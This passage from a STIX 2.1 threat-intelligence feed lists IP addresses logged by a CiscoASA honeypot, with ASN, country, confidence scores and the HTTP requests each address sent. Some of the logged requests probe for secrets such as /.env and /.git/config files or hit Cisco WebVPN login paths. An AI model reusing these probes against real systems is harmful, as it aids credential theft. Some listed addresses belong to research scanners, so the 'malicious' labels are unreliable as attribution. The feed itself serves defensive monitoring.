      "valid_from": "2026-04-27T01:20:10.000Z",
      "valid_until": "2026-05-29T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-27T00:56:30.556Z",
          "last_seen": "2026-04-27T00:56:33.559Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--2b40cbce-201b-404e-952e-d3fe53d6b122",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '54.242.178.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T01:20:10.000Z",
      "valid_until": "2026-05-29T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-27T00:56:33.753Z",
          "last_seen": "2026-04-27T00:56:33.753Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--00920327-b599-428c-a027-56ed02955d99",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T01:20:10.000Z",
      "valid_until": "2026-05-29T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 13,
          "first_seen": "2026-04-27T00:23:09.402Z",
          "last_seen": "2026-04-27T00:30:02.835Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--4f8d11b2-1959-4f2c-bb46-701341667631",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T01:20:10.000Z",
      "valid_until": "2026-05-29T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-27T00:27:36.164Z",
          "last_seen": "2026-04-27T00:27:36.164Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--f549b065-35da-4185-a4f8-69593cf332b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T01:20:10.000Z",
      "valid_until": "2026-05-29T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-27T00:27:54.929Z",
          "last_seen": "2026-04-27T00:27:54.929Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--4ec9f19e-f9cf-436d-bb5e-35c933c6ab60",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T01:20:10.000Z",
      "valid_until": "2026-05-29T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-27T00:27:37.307Z",
          "last_seen": "2026-04-27T00:27:37.307Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--5da74445-56b2-44de-a214-2d5b792e04ea",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T01:20:10.000Z",
      "valid_until": "2026-05-29T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-27T00:25:22.267Z",
          "last_seen": "2026-04-27T00:25:22.267Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--121f90ed-a724-4dcd-b31b-832e111d762f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T01:20:10.000Z",
      "valid_until": "2026-05-29T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-27T00:26:13.322Z",
          "last_seen": "2026-04-27T00:27:57.590Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--70994e22-8ae1-436f-b70f-475839800398",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T01:20:10.000Z",
      "valid_until": "2026-05-29T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-27T00:28:03.965Z",
          "last_seen": "2026-04-27T00:28:03.965Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: BG; ASN 201814 (MEVSPACE sp. z o.o.)",
      "id": "indicator--d80f1b7c-9266-45cf-adf4-eebb46f3b7d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '194.180.49.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T02:20:10.000Z",
      "valid_until": "2026-05-29T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 141,
          "first_seen": "2026-04-27T01:54:12.162Z",
          "last_seen": "2026-04-27T01:55:58.362Z",
          "country": "Bulgaria",
          "country_code": "BG",
          "asn": 201814,
          "as_org": "MEVSPACE sp. z o.o.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /.docker/.env HTTP/1.1\" 404 -",
            "\"GET /.env HTTP/1.1\" 404 -",
            "\"GET /.git/HEAD HTTP/1.1\" 404 -",
            "\"GET /.git/config HTTP/1.1\" 404 -",
            "\"GET /ADMIN/.git/config HTTP/1.1\" 404 -",
            "\"GET /API/.git/config HTTP/1.1\" 404 -",
            "\"GET /APP/.git/config HTTP/1.1\" 404 -",
            "\"GET /Api/.git/config HTTP/1.1\" 404 -",
            "\"GET /BACK/.git/config HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--3973b7b3-7f3b-4548-a0aa-b1f668de6436",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.88.59.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T02:20:10.000Z",
      "valid_until": "2026-05-29T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-27T01:42:24.586Z",
          "last_seen": "2026-04-27T01:42:28.064Z",
          "country": "United States",
          "country_code": "US",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T10:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 25737 (Jone Broadband LLC)",
      "id": "indicator--0bd5662a-5234-4d76-b2c5-948b2f20f80e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.162.8.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T10:20:05.000Z",
      "valid_until": "2026-05-29T10:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-27T10:06:48.027Z",
          "last_seen": "2026-04-27T10:06:58.798Z",
          "country": "United States",
          "country_code": "US",
          "asn": 25737,
          "as_org": "Jone Broadband LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--6cd6082d-5fbf-4d26-ac19-74ac8808d08f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T11:20:10.000Z",
      "valid_until": "2026-05-29T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-27T11:04:42.509Z",
          "last_seen": "2026-04-27T11:05:03.006Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--5894f0bb-fdb3-490d-8ce6-ad807bd38331",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T12:20:10.000Z",
      "valid_until": "2026-05-29T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-27T11:49:31.606Z",
          "last_seen": "2026-04-27T19:50:52.320Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T13:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: JP; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--9f53e5df-6ef1-4f7d-a9de-7c76d3c14077",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.102.247.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T13:20:12.000Z",
      "valid_until": "2026-05-29T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-27T13:19:54.636Z",
          "last_seen": "2026-04-29T16:42:49.339Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T13:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--2a7c4707-a0ef-454f-ba7e-3bc9e7cec03e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '18.116.101.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T13:20:12.000Z",
      "valid_until": "2026-05-29T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-27T12:51:19.416Z",
          "last_seen": "2026-04-27T12:51:22.419Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T13:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 25737 (Jone Broadband LLC)",
      "id": "indicator--9a688f65-a20a-4244-85b3-77f3042a801a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.162.8.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T13:20:12.000Z",
      "valid_until": "2026-05-29T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-27T12:37:00.511Z",
          "last_seen": "2026-04-27T12:37:08.775Z",
          "country": "United States",
          "country_code": "US",
          "asn": 25737,
          "as_org": "Jone Broadband LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T14:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 6233 (xTom)",
      "id": "indicator--4e25eec5-6ad2-493b-a769-641f043455d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.147.89.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T14:20:12.000Z",
      "valid_until": "2026-05-29T14:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-27T13:47:58.084Z",
          "last_seen": "2026-04-27T14:03:21.397Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6233,
          "as_org": "xTom",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T14:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: DE; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--7b3864b5-f2ee-4b3a-9cba-a5624ec42e8b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '8.211.33.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T14:20:12.000Z",
      "valid_until": "2026-05-29T14:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-27T14:11:10.011Z",
          "last_seen": "2026-04-27T14:11:13.881Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: SC; ASN 49870 (Alsycon B.V.)",
      "id": "indicator--a4489480-851c-4fad-9e58-dfc4d751664c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T15:20:10.000Z",
      "valid_until": "2026-05-29T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-27T15:18:55.197Z",
          "last_seen": "2026-04-27T15:29:04.068Z",
          "country": "Seychelles",
          "country_code": "SC",
          "asn": 49870,
          "as_org": "Alsycon B.V.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2333c239-df4b-40c7-8870-57dc1f9bbe43",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.109.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T15:20:10.000Z",
      "valid_until": "2026-05-29T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-16T08:02:01.117Z",
          "last_seen": "2026-04-30T05:46:13.007Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T16:21:03.000Z",
